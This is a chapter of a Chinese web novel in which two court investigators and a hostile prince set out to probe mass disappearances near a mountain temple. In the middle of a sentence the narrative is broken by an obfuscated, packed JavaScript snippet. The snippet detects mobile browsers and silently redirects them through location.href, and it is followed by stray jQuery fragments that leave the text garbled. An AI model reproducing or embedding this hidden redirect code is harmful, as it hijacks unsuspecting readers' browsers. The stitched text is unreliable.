近日,一个小县城突然传出来一桩怪事。
城中有一些男女都莫名其妙失去踪迹,官府已派人找了许久,但仍旧毫无消息。
失踪者的亲人好友接连去县衙询问,可最终都失望而归。
不久,城中民怨沸腾,许多百姓纷纷聚集起来,一齐去县衙闹事。若官府不继续寻人,他们便每日都来闹。
这事也就渐渐传开,更是传到了京城。
大理寺内。
舒之薏等人已经听闻此事,正坐在大堂内谈论。
下一刻,门外一人快步走来,上前禀报:“大人,有一对夫妇求见你和舒大人。”
冷陌淮道:“带他们进来。”
“是。”
随后一对面容憔悴的中年夫妇步入大理寺,来至大堂。
他们走上前,看了一眼坐在堂上的冷陌淮,又看了一眼坐在左边的舒之薏,恭敬问道:“请问你们是冷大人和舒大人吗?”
冷陌淮与舒之薏对二人点头。
夫妇二人立即跪地叩拜,声音沙哑:“草民拜见两位大人,还请大人救救我儿和儿媳!”
舒之薏起身,与崔元沐上前搀扶二人,“快快请起。”
她问:“你们可否详细说说,发生何事了?”
男人解释道:“大人,我们夫妇是从河清县来的,我们的儿子和儿媳在一个月前突然失踪了,我们上报了官府,他们也派人去找了,可是一直没有找到他们。那县令大人近日已经不管这事了,我们听闻京城大理寺的冷大人和舒大人断案如神,更是一心为民着想,这才赶往京城请求两位大人帮忙。”
在失踪之前,这对夫妇的儿子与儿媳说要去城外的月雾山。他们夫妻成婚已有半年,但却一直未曾怀上孩子。他们找大夫抓药补身子,也仍是没什么成效。
后来有一天,城中忽然传出一桩奇事。一对年轻夫妻去了城外月雾山上的静灵寺许愿求子,而后不久便真的怀上了胎。
他们想着死马当活马医,便也去了那寺庙烧香许愿。但这一去,竟再未回来。
夫妇二人急忙到处去寻,又去了那山上寻人,可是都未曾发现他们的身影。因那寺庙已经无人看守,所以没有人见过他们,也不能确定他们是在何处失踪。
这对夫妇只好报官,官府也立即派出人手,在整座山上四处搜查,可是也什么都没发现。
他们是第一个报案者,在他们之后,仍有百姓陆续报案,受害者大多是未婚或已婚的年轻男女,而他们同样都是去了月雾山之后失去踪迹。
官府已在全城搜寻一月,都未曾发现他们的踪迹,就连他们的尸体也未发现,所以仍不知失踪百姓是死是活。
男人眼中泛起泪,颤声恳求道:“我们实在是没有办法了,还请大人帮帮我们呐!”
闻言,舒之薏与冷陌淮对视一眼,眉间显露忧色。
没想到他们竟千里迢迢从河清县赶至京城,寻求他们帮助。
人已经失踪一个月了,竟还未找到。更重要的是,失踪的不止一人,现在仍是一点线索都没有。看来,此事确实十分棘手。
“二位放心,我们定会将此案查个水落石出。”冷陌淮沉声道,“你们先在此稍作休息,我们先入宫一趟,向当今陛下禀明此事。”
夫妇二人连忙作揖道谢:“好,多谢大人!多谢大人!”
随后冷陌淮与舒之薏入宫,去至皇帝宫殿。
殿外一人高声道:“启禀陛下,冷大人与舒大人求见。”
皇帝放下手中奏折,“进。”
冷陌淮与舒之薏步入殿中,拱手作揖:“微臣参见陛下。”
“免礼。”皇帝问,“你们来寻朕,是有何事?”
冷陌淮道:“回陛下,近日河清县百姓莫名失踪一事已传得人尽皆知,方才还有百姓已入京寻臣相助,故臣想亲自前往河清县彻查此案。”
“原来是这事,朕也有所耳闻。”皇帝点头,“好,那你们便即日启程,前去将此案查个清楚,以慰民心。”
“微臣遵旨。”
冷陌淮与舒之薏转身离殿。
刚出殿门,他们走了几步,便与李匀衡迎面碰上。
舒之薏无奈皱了皱眉,眉眼间透出几分不耐烦。
怎么又遇见他了?他怕不是一直派人监视他们,等到他们一入宫便来假装偶遇。
李匀衡笑着走到二人面前,看向舒之薏,“真是巧啊,本王正好来寻父皇,没曾想又遇见舒大人了。”
舒之薏淡淡问:“殿下又有何贵干?”
“没什么事。”李匀衡看了眼二人,“不过,不知两位大人入宫所为何事啊?怎么都是一副愁眉不展的模样?”
冷陌淮率先开口解释道:“不知殿下近日可有听闻河清县的一起失踪案?”
“哦,有所耳闻。”李匀衡道,“所以你们是要去查此案了。”
冷陌淮点头:“正是。”
李匀衡微扬嘴角:“好,那本王就在此祝二位大人一路顺风了。”
听了这话,冷陌淮与舒之薏脸色同时变了变。
一路顺风?他想的这“路”,怕不是黄泉路。
“谢殿下,微臣告退。”
二人随即快步离去。
冷陌淮微眯眼,眉间浮现忧思:“看来此行,他怕是又要动手了。”
舒之薏漫不经心道:“兵来将挡,水来土掩。他若敢来,我们见招拆招便是。”
听闻此话,冷陌淮浅浅笑了笑,转向她看去:“你倒是不怕。”
“当然。”舒之薏目光坚定,看着他一笑,“因为,我不是一个人啊。”
冷陌淮温声应道:“对,你不是一个人。”
话音落下,他牵起她的手,朝宫外走去。
随后二人回至大理寺,告知崔元沐五人做好准备,明日启程前往河清县。
傍晚,冷陌淮与舒之薏又带着这对夫妇回府,安排他们在府中住下,明日再带他们一起赶路。
次日一早。
众人去至大理寺,崔元沐已寻来两辆马车。
他们刚要出发,却见到一个身着便服的男子走来,他身后还跟着一人。
来人正是李匀衡和他的近身护卫。
见到他,舒之薏满脸震惊又无语,不由在心中暗骂:他还真是像狗皮膏药一样,甩都甩不掉。
众人恭敬行礼,“参见殿下。”
李匀衡摆了摆手:“不必多礼。”
冷陌淮面露疑色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283291|159326||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,问道:“殿下怎么忽然来此?”
“是这样,我已向父皇请命,与冷大人一起前往河清县调查此案。”李匀衡悠悠道,“此行,我会隐藏身份,诸位从现在起,称我李公子便好。”
众人颔首应下:“是。”
舒之薏猜想,他或许是想一箭双雕。一,查出此案以获民心;二,亲自出手除掉他们。看来此行,定是危机重重,他们必须多加小心。
“李公子,我们这只有两辆马车,我们再去为你寻一辆吧。”舒之薏微笑着开口道。
李匀衡摇头拒绝:“哎,不用麻烦了,我跟冷大人与舒大人共乘一车便好,二位应该不介意吧?”
不介意才怪。
舒之薏一时无言,她顿了顿道:“那就委屈李公子纡尊降贵与我们共挤一车了。”
她扯出一个微笑,抬了抬手,“李公子请上车。”
李匀衡点头,随即上车。
舒之薏与冷陌淮无奈对视一眼,也上了马车,分别坐在马车两旁。
崔元沐与护卫坐在马车外,其余人上了另一辆马车,众人开始赶路。
车内,李匀衡开口问:“舒大人,可否跟我详细说说此案?”
冷陌淮微蹙眉:“我来向公子解释。”
“大人,我来说就好。”舒之薏眼神示意他没关系,她随即开始向李匀衡解释此案详情。
过了一会儿,舒之薏解释完毕。
“原来如此,此事还当真是古怪。”李匀衡皱了皱眉头,轻微叹息一声,“人已经失踪了那么久,或许……他们早就死了。”
舒之薏蓦地一顿。
其实他说的并非没有可能,他们也已料想到这种可能,但仍是希望那些失踪百姓还好好活着。
……
河清县距京城并不算太遥远,冷陌淮一行人日夜兼程,三日后便已临近河清县。
但天气骤变,忽然下起了大雨,马车在满是泥泞的道路上难以快速前行。
是夜,他们途经一家旅店,便决定先在此休息一夜。
众人下了马车,冒着大雨快步跑入店中。
冷陌淮走向接待处,“我们要住店。”
店小二看了眼众人,有些为难:“那个,不好意思,现在只剩五间房了。”
那对夫妇一间房,李匀衡和他的护卫一间房,还剩三间房。
冷陌淮道:“元沐,青椋,我们住一间。”
“好。”二人应下。
金一栩看向卜子遥和申俊奕,“那我们仨住一间。”
二人点头。
舒之薏心想,他们这三个人住一间,肯定很挤,但也没办法了。
下一刻,李匀衡忽然开口道:“冷公子,你们三人未免太挤了些,你还是来跟我住吧。”
舒之薏一惊。
不是,他这睡觉也要跟着他!难道……他是想今夜就动手?
绝对不行!
冷陌淮刚要开口回绝,却听舒之薏忽然道了句:“大人,你跟我睡吧!”
众人陡然一愣。
见到他们的神情,舒之薏神情略微尴尬起来。
她说完才反应过来,自己在说什么。
呃,她好像有些语出惊人了……